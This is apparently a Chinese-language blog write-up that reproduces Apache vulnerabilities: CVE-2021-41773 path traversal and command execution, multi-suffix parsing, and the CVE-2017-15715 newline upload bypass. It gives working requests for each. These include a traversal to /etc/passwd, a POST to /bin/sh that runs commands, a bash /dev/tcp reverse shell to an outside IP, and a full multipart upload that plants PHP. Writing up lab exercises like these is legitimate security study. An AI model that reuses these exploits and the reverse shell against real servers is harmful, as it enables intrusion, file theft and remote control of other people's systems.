Apache漏洞复现

1.apache-cve_2021_41773

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

版本是2.4.49

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
echo;ls
echo;ls /tmp

也可以反弹shell

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
data=;echo "bash -i >& /dev/tcp/10.108.0.90/9998 0>&1">> /tmp/xxx.sh
  1. data=:定义一个空变量data,这部分本身没有实际作用,可能是为了混淆或满足某种语法格式。
  2. echo "..." >> /tmp/xxx.sh:将双引号内的内容追加写入到/tmp/xxx.sh这个文件中。>>表示追加内容,不会覆盖文件原有内容。
  3. 核心恶意代码:bash -i >& /dev/tcp/10.108.0.90/9998 0>&1
    • bash -i:启动一个交互式的 bash shell(可以输入命令并获得反馈)。
    • /dev/tcp/10.108.0.90/9998:这是类 Unix 系统中的特殊路径,用于建立与10.108.0.90这个 IP 地址的9998端口的 TCP 连接(攻击者控制的机器通常会在这个端口监听)。
    • >&0>&1:这是 I/O 重定向,将 shell 的输入、输出、错误输出都重定向到上述 TCP 连接中。
 POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
 执行脚本
 echo Content-Type: text/plain; echo; bash /tmp/xxx.sh
  1. echo Content-Type: text/plain; – 输出 HTTP 响应头,表明返回内容是纯文本格式
  2. echo; – 输出一个空行,作为 HTTP 头和正文的分隔符
  3. bash /tmp/xxx.sh – 执行位于/tmp目录下的xxx.sh脚本

2.httpd 后缀解析

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。 那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

http://123.58.224.8:37160/uploadfiles/1.php.jpg

3.apache 文件上传 (CVE-2017-15715)

Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

页面访问后一篇空白,那就直接抓包看数据

OPTIONS提交

使用boundary边界上传数据

POST / HTTP/1.1
Host: 123.58.224.8:32015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

1.php

-----------------------------9552222486401230933854482358--

改为0a

接着访问 /1.php%0A

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注